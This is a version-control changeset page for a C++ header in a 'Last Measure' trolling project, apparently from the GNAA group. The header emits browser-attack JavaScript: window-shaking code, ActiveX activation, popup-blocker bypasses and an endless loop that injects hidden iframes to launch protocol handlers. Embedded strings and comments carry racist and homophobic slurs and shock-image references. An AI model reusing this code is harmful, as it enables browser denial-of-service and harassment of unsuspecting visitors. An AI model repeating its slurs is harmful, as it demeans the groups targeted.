Changeset 560 for trollforge

Timestamp:

01/11/12 01:12:39 (17 months ago)

Author:

literalka

Message:

more work

File:

• trollforge/lastmeasure/server/lmresource.h (modified) (11 diffs)

trollforge/lastmeasure/server/lmresource.h

@@ -8 +8 @@
 #include "lmkeywords.h"
 
+static size_t imagecount = 31;
+static size_t soundcount = 16;
+
 static char const *staticnames[] =
 {
-    /* Static images */
+    /* Static images - 31 */
     "/images/awesome.jpg",    "/images/Pain4.jpg",
     "/images/balloonboy.jpg", "/images/Pain5.jpg",
@@ -28 +31 @@
     "/images/Pain3.jpg",
 
-    /* Static sound samples */
+    /* Static sound samples - 16 */
     "/audio/abez2.wav",    "/audio/abez.wav",
     "/audio/blackman.wav", "/audio/eska.wav",
@@ -127 +130 @@
  "        onmouseover=\"document.goatse.reset();movew0w();procreate();\">\r\n";
 
-        data << MoveAround(800, 600);
+        data << MoveAround(800, 600, host);
         data << ActivateApplets();
         if (is_ie6)
@@ -166 +169 @@
 
         ret <<
+/*
+ * Let's figure out what the fuck kind of browser the poor plebes are using. :(
+ *  MSIE gets a special kind of Last Measure where I start off with a
+ *  `ModelessDialog' and pop up from it.
+ *  Gets around Google Toolbar.
+ *              -- goat-see
+ */
  "var nom = navigator.appName.toLowerCase();"
  "var agt = navigator.userAgent.toLowerCase();"
@@ -200 +210 @@
  "      credits += \"Christmas\\n\";"
  "      credits += \"Rusty's Wife\\n\";"
+ "      credits += \"The Harlequin Fetus\\n\";"
+ "      credits += \"Balloon Boy\\n\";"
  "      credits += \"What the fuck? That guy's ass is showing in his baby's picture!\\n\";"
  "      credits += \"And much, much more!\\n\";"
@@ -223 +235 @@
  "}"
 
+/* FIXME
+ "function click() {"
+ "    if(event.which == 3 || event.button == 2) {"
+ "        return false;"
+ "    }"
+ "}"
+*/
+
  "function procreate() {"
  "    for(i = 0; i < 16; i++) {"
@@ -243 +263 @@
 
  "function load_goatse() {"
- "  document.body.innerHTML += goatseflash;"
- "  setTimeout(\"unload_goatse()\", 3000);" // 3s
+ "    document.body.innerHTML += goatseflash;"
+ "    setTimeout(\"unload_goatse()\", 3000);" // 3s
  "}"
 
  "function unload_goatse() {"
- "  document.getElementById(\"hello\").style.display = 'none';"
+ "    document.getElementById(\"hello\").style.display = 'none';"
  "}"
 
  "function noframes() {"
- "        if (top.location.hostname != location.hostname)"
- "                top.location.href = window.location.href;"
+ "    if (top.location.hostname != location.hostname)"
+ "        top.location.href = window.location.href;"
  "}"
 
@@ -261 +281 @@
  "        \"http://" << host << "/jews.wmv\","
  "        \"irc://irc.gnaa.eu/gnaa\","
- "        \"irc://irc.freenode.net/wikipedia-en?msg=THIS%20CHANNEL%20HAS%20MOVED%20TO%20IRC.HARCHATS.COM%20#GNAA\","
+ "        \"irc://irc.freenode.net/wikipedia-en?msg=THIS%20CHANNEL%20HAS%20MOVED%20TO%20IRC.HARDCHATS.COM%20#GNAA\","
  "        \"news:alt.flame.niggers\","
  "        \"news:alt.flame.faggots\","
@@ -269 +289 @@
  "        \"rlogin://1.1.1.1:80\","
  "        \"telnet://1.1.1.1:80\","
- "        \"aim:addbuddy?listofscreennames=HY,LOL,HY,LOL,HY,LOL,join,the,gnaa,2012,RECRUITMENT,DRIVE,heartiez2incog&groupname=gnaa\","
  "        \"mailto:JOIN@THE.GNAA?subject=2012_RECRUITMENT_DRIVE&body=www.gnaa.eu\","
- "        \"ed2k://|file|Gayniggers From Outer Space [GNAA Digitally Remastered].avi|134174720|F8AF9D8A7091CD7A7B8968C9EB397C02|/\","
+ //"        \"ed2k://|file|Gayniggers From Outer Space [GNAA Digitally Remastered].avi|134174720|F8AF9D8A7091CD7A7B8968C9EB397C02|/\","
+ "        \"aim:addbuddy?listofscreennames=HY,LOL,HY,LOL,HY,LOL,join,the,GNAA,2012,RECRUITMENT,DRIVE,heartiez2incog,cpurape vo.1 - lncog&groupname=GNAA\","
  "        \"aim:goaway?message=ARE+YOU+GAY%3F+ARE+YOU+A+NIGGER%3F+ARE+YOU+A+GAY+NIGGER%3F\","
  "        \"aim:goim?screenname=bluexox5&message=dont_fuck_with_the_GNAA\""
@@ -277 +297 @@
 
  "function add(str) {"
- "  div = document.getElementById('goatse');"
- "  div.innerHTML = '<iframe style=\"width: 1; height: 1;\" src=\"' + str + '\"></iframe>';"
+ "    div = document.getElementById('goatse');"
+ "    div.innerHTML = '<iframe style=\"width: 1; height: 1;\" src=\"' + str + '\"></iframe>';"
  "}"
 
  "function ruin() {"
- "  document.body.innerHTML += '<div id=\"goatse\">Y HALLO THAR!</div>';"
- "  while (1) {"
- "    for (i = 0; i < protos.length; i++) {"
- "      add(protos[i]);"
+ "    document.body.innerHTML += '<div id=\"goatse\">Y HALLO THAR!</div>';"
+ "    while (1) {"
+ "        for (i = 0; i < protos.length; i++) {"
+ "            add(protos[i]);"
+ "        }"
  "    }"
- "  }"
  "}";
 
@@ -335 +355 @@
     }
 
+/* NB on `imagelist' and `imagecount':
+ *  There is undoubtedly a better (read: not redundant with `staticnames') way
+ *   to do this. I cannot think of such a way right now. I just wrote something
+ *   that would (hopefully) work, so I could test it and go from there.
+ *     -- Leon
+ */
+
+    static std::string MoveAround(size_t width, size_t height, char const *host)
+    {
+        std::stringstream ret("");
+
+        ret <<
+
+        "<script type=\"text/javascript\">"
+        "<!--"
+        "    var images = new Array();\n"
+        "    var imagecount = " << imagecount << ";";
+
+        for(size_t i = 0; i < imagecount; i++)
+        {
+            ret << "    images[" << i << "] = 'http://" << host << "images/" << staticnames[i] << "';\n";
+        }
+
+        ret <<
+
+        "var delay = 10;"
+        "var step = .2;"
+        "var curstep = 0;"
+        
+        "window.resizeTo(" << width << " , " << height << ");"
+        "var centerX = (self.screen.width - document.body.clientWidth) / 2;"
+        "var centerY = (self.screen.height - document.body.clientHeight - 120) / 2;"
+        "movew0w();"
+        
+        "function movew0w() {"
+        "    var j;"
+        "    for (j = 0; j < 5; j++) {"
+        "        curstep += step / 5;"
+        "        var factorX = Math.sin(curstep * 6.1) * 0.9;"
+        "        var factorY = Math.cos(curstep * 3.7) * 0.9;"
+        
+        "        factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70)"
+        "                    * (Math.sin(10+curstep/(10+j))+0.2)"
+        "                    * Math.cos((curstep + j*25)/10);"
+        "        factorY += 0.2 * Math.cos((20*Math.sin(curstep/(20+j)))+j*70)"
+        "                       * (Math.sin(10+curstep/10)+0.2)"
+        "                       * Math.cos((curstep + j*25)/10);"
+        "        self.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY));"
+        "    }"
+
+        "    document.body.background = images[(Math.floor(curstep) % imagecount) + 1];"
+        "    setTimeout(\"movew0w()\", delay);"
+        "}"
+        "// -->"
+        "</script>"
+        "}";
+
+        return ret.str();
+    }
+
+    static std::string ActivateApplets()
+    {
+        std::stringstream ret("");
+
+        ret <<
+
+        "<div>"
+        "    <object id=\"x\" classid=\"clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A\" height=\"1\" width=\"1\">"
+        "        <param name=\"ActivateApplets\" value=\"1\" />"
+        "        <param name=\"ActivateActiveXControls\" value=\"1\" />"
+        "    </object>";
+        "</div>";
+
+        return ret.str();
+    }
+}
+
+/*
+        data << ActivateApplets();
+        if (is_ie6)
+        {
+            data << PopupBypasser();
+            data << DivertOnload();
+        }
+
+function popup_bypasser() {
+"<!-- This chunk bypasses popups -->\n";
+"<script type=\"text/javascript\">\n";
+"<!--\n";
+"function shellscript() {\n";
+"\tfor(i = 0; i < 5; i++) {\n";
+"\t\topen('http://".$_SERVER['SERVER_NAME']."/index.php?popup=1','_blank','scrollbar=no');\n";
+"\t}\n";
+"}\n";
+
+"function main() {\n";
+"\tx.DOM.Script.execScript(shellscript.toString());\n";
+"\tx.DOM.Script.setTimeout(\"shellscript()\");\n";
+"\tsetTimeout(\"main()\", 200);\n";
+"}\n";
+"// -->\n";
+"</script>\n";
+}
+
+function divert_onload() {
+"<script type=\"text/javascript\">\n";
+"\t<!--\n";
+"\tvar SymRealOnLoad;\n";
+"\tvar SymRealOnUnload;\n";
+"\tvar SymRealWinOpen;\n";
+
+"\tfunction SymOnUnload() {\n";
+"\t\twindow.open = SymWinOpen;\n";
+"\t\tif(SymRealOnUnload != null)\n";
+"\t\t\tSymRealOnUnload();\n";
+"\t}\n";
+
+"\tfunction SymOnLoad() {\n";
+"\t\tif(SymRealOnLoad != null)\n";
+"\t\t\tSymRealOnLoad();\n";
+"\t\twindow.open = SymRealWinOpen;\n";
+"\t\tSymRealOnUnload = window.onUnload;\n";
+"\t\twindow.onUnload = SymOnUnload;\n";
+"\t}\n";
+
+"\tSymRealOnLoad = window.onLoad;\n";
+"\twindow.onLoad = SymOnLoad;\n";
+"\t// -->\n";
+"</script>\n";
+}
+
+*/
+
 private:
     static const size_t NSTATICS = sizeof(staticnames) / sizeof(*staticnames);